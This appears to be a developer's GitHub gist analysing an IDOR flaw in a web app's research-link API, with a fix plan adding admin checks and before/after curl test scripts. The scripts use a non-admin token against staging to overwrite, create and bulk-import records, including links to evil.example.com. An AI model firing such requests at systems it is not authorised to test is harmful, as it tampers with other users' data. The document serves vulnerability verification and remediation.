Skip to content

Instantly share code, notes, and snippets.

@allan-gar2x
Created April 28, 2026 04:08
Show Gist options
  • Select an option

  • Save allan-gar2x/40e6006c44c4eb96a89705c5ab7af1fc to your computer and use it in GitHub Desktop.

Select an option

Save allan-gar2x/40e6006c44c4eb96a89705c5ab7af1fc to your computer and use it in GitHub Desktop.
Issue #7716: business-links IDOR — analysis, test scripts, and fix plan
# Issue #7716: business-links IDOR — Analysis, Test Scripts & Fix Plan
## Issue Summary
**IDOR vulnerability**: All 5 mutation endpoints on `business-links` and `business-links/category` perform **zero authorization checks**. Any authenticated user can create, update, delete, or bulk-import any research link/category — including ones they didn't create and across all organizations.
---
## Root Cause
The `baseApi()` middleware handles auth (JWT/API key), so the user **is** authenticated. But none of the handlers check **who** the user is before allowing mutations. The `ResearchLink` and `ResearchLinkCategory` models have no `userId` or `organizationId` fields, so there's nothing to scope against.
### Vulnerable operations
| Endpoint | Method | Issue |
|---|---|---|
| `/api/business-links` | POST | Any user can create |
| `/api/business-links/[id]` | PUT | Any user can update **any** link by ID |
| `/api/business-links/[id]` | DELETE | Any user can delete **any** link |
| `/api/business-links/category` | POST | Any user can create categories |
| `/api/business-links/category/[id]` | PUT | Any user can update **any** category |
| `/api/business-links/category/[id]` | DELETE | Any user can delete **any** category |
| `/api/business-links/import` | POST | Any user can bulk-import/overwrite global data |
GET (read) endpoints are intentionally global — those are fine.
---
## Recommended Fix: Option B (Admin-only mutations)
The existing pattern already exists at `apps/client/pages/api/settings/update.ts:16`:
```ts
if (!req.user.isAdmin) throw new ForbiddenError('Permission denied');
```
This is the right call because:
- The data model has no ownership fields — no migration needed
- Research links are a curated global resource, not user-owned data
- Option A (org-scoped) would require a schema migration + backfill
- Option B is one line per mutation handler
**Reads (`GET`) stay open** to all authenticated users — no change there.
---
## Files to Change (5 files)
```
apps/client/pages/api/business-links/[id].ts — add admin check to PUT + DELETE
apps/client/pages/api/business-links/index.ts — add admin check to POST
apps/client/pages/api/business-links/category/[id].ts — add admin check to PUT + DELETE
apps/client/pages/api/business-links/category/index.ts — add admin check to POST
apps/client/pages/api/business-links/import.ts — add admin check to POST
```
Each file needs:
1. Add `import { ForbiddenError } from '@server/utils/errors';`
2. First line inside every mutation handler: `if (!req.user.isAdmin) throw new ForbiddenError('Permission denied');`
---
## Before Test (confirm the vulnerability on staging)
```bash
#!/usr/bin/env bash
# Before test — proves IDOR exists. Run against staging.
# Usage: BASE_URL=https://app.staging.bike4mind.com TOKEN=<non-admin-jwt> bash before-test.sh
BASE_URL="${BASE_URL:-https://app.staging.bike4mind.com}"
TOKEN="${TOKEN:-your-non-admin-token-here}"
echo "=== 1. List links to grab an ID ==="
LINK_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
"$BASE_URL/api/business-links?pageSize=1" | jq -r '.data[0]._id')
echo "Using link ID: $LINK_ID"
echo ""
echo "=== 2. UPDATE any link (IDOR — should fail but won't) ==="
curl -s -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"HACKED by non-admin"}' \
"$BASE_URL/api/business-links/$LINK_ID"
echo ""
echo "=== 3. CREATE a link (no admin required — should fail but won't) ==="
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Injected Link","url":"https://evil.example.com"}' \
"$BASE_URL/api/business-links"
echo ""
echo "=== 4. IMPORT bulk data (no admin required — should fail but won't) ==="
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"csv":"name,ticker,url,type,categoryName,categoryDescription\nEvilCorp,EVIL,https://evil.example.com,test,TestCat,TestDesc"}' \
"$BASE_URL/api/business-links/import"
echo ""
echo "EXPECTED (before fix): All requests above return 200/201 — confirming the vulnerability."
```
**What to look for**: Steps 2, 3, and 4 return `200`/`201` with data — proving the bug.
---
## After Test (verify the fix on PR preview)
```bash
#!/usr/bin/env bash
# After test — proves IDOR is fixed. Run against the PR preview env.
# Usage: BASE_URL=https://app.pr<N>.preview.bike4mind.com TOKEN=<non-admin-jwt> bash after-test.sh
BASE_URL="${BASE_URL:-https://app.pr123.preview.bike4mind.com}"
TOKEN="${TOKEN:-your-non-admin-token-here}"
echo "=== 1. List links (still open — should return 200) ==="
curl -s -o /dev/null -w "GET /api/business-links → HTTP %{http_code}\n" \
-H "Authorization: Bearer $TOKEN" \
"$BASE_URL/api/business-links?pageSize=1"
LINK_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
"$BASE_URL/api/business-links?pageSize=1" | jq -r '.data[0]._id')
echo ""
echo "=== 2. UPDATE any link (should now return 403) ==="
curl -s -o /dev/null -w "PUT /api/business-links/$LINK_ID → HTTP %{http_code}\n" \
-X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"HACKED by non-admin"}' \
"$BASE_URL/api/business-links/$LINK_ID"
echo ""
echo "=== 3. CREATE a link (should now return 403) ==="
curl -s -o /dev/null -w "POST /api/business-links → HTTP %{http_code}\n" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Injected Link","url":"https://evil.example.com"}' \
"$BASE_URL/api/business-links"
echo ""
echo "=== 4. IMPORT bulk data (should now return 403) ==="
curl -s -o /dev/null -w "POST /api/business-links/import → HTTP %{http_code}\n" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"csv":"name,ticker,url,type,categoryName,categoryDescription\nEvilCorp,EVIL,https://evil.example.com,test,TestCat,TestDesc"}' \
"$BASE_URL/api/business-links/import"
echo ""
echo "EXPECTED (after fix): Steps 2, 3, 4 return HTTP 403. Step 1 returns HTTP 200."
```
**What to look for**: Steps 2–4 return `403 Forbidden`. Step 1 (read) still returns `200` — confirming reads are unaffected.
---
## References
- GitHub Issue: https://github.com/MillionOnMars/lumina5/issues/7716
- Existing admin-check pattern: `apps/client/pages/api/settings/update.ts:16`
- Error helper: `apps/client/server/utils/errors.ts` → `ForbiddenError`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment